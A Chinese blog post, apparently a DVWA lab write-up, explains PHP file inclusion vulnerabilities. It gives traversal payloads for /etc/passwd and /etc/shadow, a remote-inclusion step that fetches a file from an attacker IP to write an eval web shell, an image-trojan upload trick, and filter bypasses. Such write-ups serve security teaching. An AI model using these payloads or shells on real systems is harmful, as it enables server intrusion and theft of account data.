首页 > 其他分享 >文件包含漏洞

文件包含漏洞

时间:2023-12-24 17:37:33浏览次数:31  
标签:文件 php 包含 .. 漏洞 file include

文件包含简介

文件包含,File inclusion。

本意:服务器执行PHP等脚本文件时,可通过文件包含函数加载另一个文件中的PHP等脚本,并且执行。

可创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,只需更新一个包含文件即可,或者当向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

好处:节省开发、维护成本。

文件包含漏洞原理

文件包含漏洞:使用函数去包含任意文件时,若包含的文件过滤不严时,即被包含文件含有恶意文脚本,从而导致攻击者可调用其他恶意文件,触发文件包含漏洞。

常见的文件包含函数

PHP:include() 、include_once()、require()、require_once()

JSP/Servlet:ava.io.file()、java.io.filereader()

ASP:include file、include virtual

文件包含漏洞在PHP中较多的,像JSP、ASP的漏洞较少。

PHP文件包含漏洞前提

服务器开启allow_url_include选项(如何开启在上一篇博客中有提到),可通过PHP的某些特性函数(include(),require()和include_once(),requir_once())利用URL去动态包含文件。

此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

文件包含函数

require()

require_once()

include()

include_once()

include和require区别:

include在包含的过程中若出现错误,会出警告,但程序继续正常运行;

require函数出现错误时,会直接报错并退出程序的执行。

include_once(),require_once()  

include_once()和 include 语句类似,区别是若该文件已经被包含过,则不会再次包含。

require_once()和 require 语句完全相同,区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。

文件包含漏洞的一般特征

一般特征如下:

index.php?page=a.php

?home=a.html

?file=content

几种经典的测试方法:

?file=../../../../../etc/passwd

?page=file:///etc/passwd

?home=main.cgi

?page=../../../../../etc/passwd

http://1.1.1.1/../../../../dir/file.txt

利用技巧

读取敏感文件

访问URL:?page=/etc/passwd //目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容。

远程包含Shell

目标主机allow_url_fopen打开,攻击者网站有一个文件echo.txt:代码如下:

<?phpfputs(fopen("shell.php","w"),"<?php @eval($_POST[xxser]);?>");?>

访问:http://靶机IP/index.php?page=http://攻击者IP/echo.txt。将会在index.php所在的目录下生成shell.php,内容为:<?php eval($_POST[xxser]);?>

本地包含配合文件上传

假设已经上传一句话图片木马到服务器,路径为:/uploadfile/xxx.jpg

图片代码如下:<?phpfputs(fopen("shell.php", "w"),"<?php @eval($_POST[cmd]);?>");?>

访问http://目标IP/index.php?page=./uploadfile/xxx.jpg,会在index.php所在的目录下生成shell.php。

中国蚁剑连接

包含data://或php://inout等伪协议(需要allow_url_include=On)

本地文件包含漏洞

常见的敏感信息路径:

Windows系统:

C:\phpstudy_pro\extensions\mysql8.0.12\my.ini     // MySQL配置

C:\phpstudy_pro\extensions\mysql8.0.12\data\dvwa\users.MYD // dvwa账号信息

C:\phpstudy_pro\www\dvwa-master\php.ini       // php 配置信息

常见的敏感信息路径:

Linux/Unix系统

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

low级

文件包含漏洞_文件包含

文件包含漏洞_文件包含_02

件包含

文件包含漏洞_文件包含_03

仅仅是配置参数的变化

文件包含漏洞_漏洞_04

本地不存在的文件,爆出了路径错误

文件包含漏洞_漏洞_05

文件包含漏洞_漏洞_06

文件包含漏洞_漏洞_07

成功利用文件包含漏洞

medium

文件包含漏洞_文件包含_08

对地址进行了过滤(http:// https:// ../ ..\)

可以采取双写httphttp://:// 

采用绝对路径

大小写绕过

文件包含漏洞_文件包含_09

文件包含漏洞_漏洞_10

采用双写绕过成功

high

文件包含漏洞_文件包含_11

fnmatch() 函数根据指定的模式来匹配文件名或字符串。

源码中限制了文件名来防止恶意文件包含,并且!fnmatch( "file*", $file )代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件,这样我们就远程访问不了了。file:///后面一定是绝对路径。

文件包含漏洞_文件包含_12

伪协议读取

file://   #访问本地文件系统

http://   #访问HTTPs网址

ftp://     #访问ftp URL

php://     #访问输入输出流

zlib://     #压缩流

data://   #数据

ssh2://   #security shell2

expect:// #处理交互式的流

glob://   #查找匹配的文件路径

file://   #访问HTTPs网址

http://192.168.10.150/1.php/?name=file://win.ini

http://   #访问HTTPs网址

file://   #访问HTTPs网址

http://192.168.10.150/1.php/?name=file://win.ini

http://   #访问HTTPs网址

http://192.168.10.150/1.php/?name=http://www.baidu.com

data://   #数据

需要allow_url_include 和allow_url_fopen为on

?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

"PD9waHAgcGhwaW5mbygpPz4="是通过base64加密的<?php phpinfo();?>


远程文件包含漏洞

使用kali搭建服务

 

文件包含漏洞_漏洞_13

文件包含漏洞_文件包含_14

文件包含漏洞_漏洞_15


Low级

文件包含漏洞_文件包含_16

用中国蚁剑连接

文件包含漏洞_文件包含_17

文件包含漏洞_漏洞_18


连接成功

文件包含漏洞_漏洞_19

Medium

直接访问是不行的

文件包含漏洞_文件包含_20

查看源码我们发现,这个级别对http:// https:// ../ ..\进行了过滤,必须采用绕过方法

①    双写http绕过

文件包含漏洞_漏洞_21

测试连接

文件包含漏洞_文件包含_22

文件包含漏洞_漏洞_23

②    大小写混淆绕过


文件包含漏洞_文件包含_24

连接成功

文件包含漏洞_漏洞_25

a

被漏洞原理

标签:文件,php,包含,..,漏洞,file,include
From: https://blog.51cto.com/heliotopekxy/8955995

相关文章

  • 极速搭建Nginx文件服务器攻略
    目录本地系统安装搭建配置文件有效示例如下注意配置nginx本地认证参考文档问题百宝箱在selinux开启时,访问显示403Forbiden利用Docker容器搭建Nginx文件服务器debian12的apt仓库配置如下在容器内执行如下命令其他本地系统安装搭建Nginx安装包一般都存在于系......
  • 配置Samba文件共享
    一、Samba简介Samba文件共享服务是一种开源的软件,用于在Linux和Windows操作系统之间共享文件和打印机。它允许Windows客户端通过SMB/CIFS协议访问和共享Linux主机上的文件和打印机。Samba可以作为文件服务器运行,让Windows用户能够像访问本地文件夹一样访问Linux主机上的文件夹。此......
  • 如何通过蛋壳Uploader把ipa文件上传到App Store教程步骤
    在移动应用开发的过程中,将ipa文件上传至AppStore是非常关键的一环。对于那些没有Mac电脑的开发者来说,这一步骤可能会成为一个挑战。幸运的是,有一个名为“蛋壳Uploader”的在线工具,可以帮助开发者在没有Mac的情况下,轻松上传ipa文件到AppStore。一、准备工作在使用蛋壳Uploader......
  • linux中文件的特殊权限setgid-setuid-sbit
    1.SetUID一.SetUID的功能SetUID主要是给命令提供一个root权限,就是命令运行时拥有root用户权限,命令运行结束后root权限消失1.只有执行的二进制程序才能设定SUID权限2.命令执行者要对该程序有用x(执行)权限3.命令执行者在执行该程序时获得该程序文件属主(所有者)的身份(在执行程......
  • 大文件分片上传
    文件传输是一个常见的需求。对于大文件的下载和上传,直接使用传统的方式可能会遇到性能和用户体验方面的问题。幸运的是,前端技术提供了一些高效的解决方案:文件流操作和切片下载与上传。本文将深入探讨这些技术,帮助你理解它们的原理和实现方法,以优化文件传输效率和提升用户体验。一......
  • 软件多开助手的神奇功能:同时操作多个文件管理器
    软件多开助手是一款非常实用的工具,它可以让用户在同一台电脑上同时运行多个应用程序。除了提高效率外,软件多开助手还有许多神奇的功能,其中之一就是同时操作多个文件管理器。在日常工作中,我们经常需要打开多个文件夹进行文件的管理和整理。但是,在传统的操作系统中,每次只能打开一个......
  • NFS文件服务器及客户端挂载(搞个网盘玩一下啦)
    NFS简介什么是NFS?NFS(NetworkFileSystem)网络文件系统目标:实现计算机之间通过网络共享资源将NFS主机分享的目录,挂载到自己电脑,我们就可以用自己电脑使用NFS的硬盘存储资源大白话说,就像百度云盘差不多哦~~NFS实现原理是什么?NFS每个功能会开启不同端口,使用RPC管理端口,RP......
  • java 判断一个集合是否包含
    Java判断一个集合是否包含1.整体流程下面是判断一个集合是否包含某个元素的整体流程:步骤描述步骤一创建一个集合对象步骤二向集合中添加元素步骤三判断集合是否包含指定的元素步骤四根据判断结果输出对应的信息2.详细步骤2.1步骤一:创建一个集合......
  • java 判断文件是否是视频
    Java判断文件是否是视频引言在开发中,我们经常需要判断一个文件是否是视频文件,这对于文件管理和处理来说非常重要。本文将指导你如何使用Java来实现判断文件是否是视频的功能。流程概述下面是整个流程的步骤概览:pietitle文件是否是视频"1.获取文件扩展名":20......
  • C# .NET的BinaryFormatter、protobuf-net、Newtonsoft.Json以及自己写的序列化方法序
    https://www.cnblogs.com/s0611163/p/11872484.html测试结果整理后: 结论:1、这几个工具中,protobuf-net序列化和反序列化效率是最快的2、BinaryFormatter和Newtonsoft.Json反序列化慢的比较多3、Newtonsoft.Json序列化后的文件体积比较大4、Newtonsoft.Json在序列化反序列......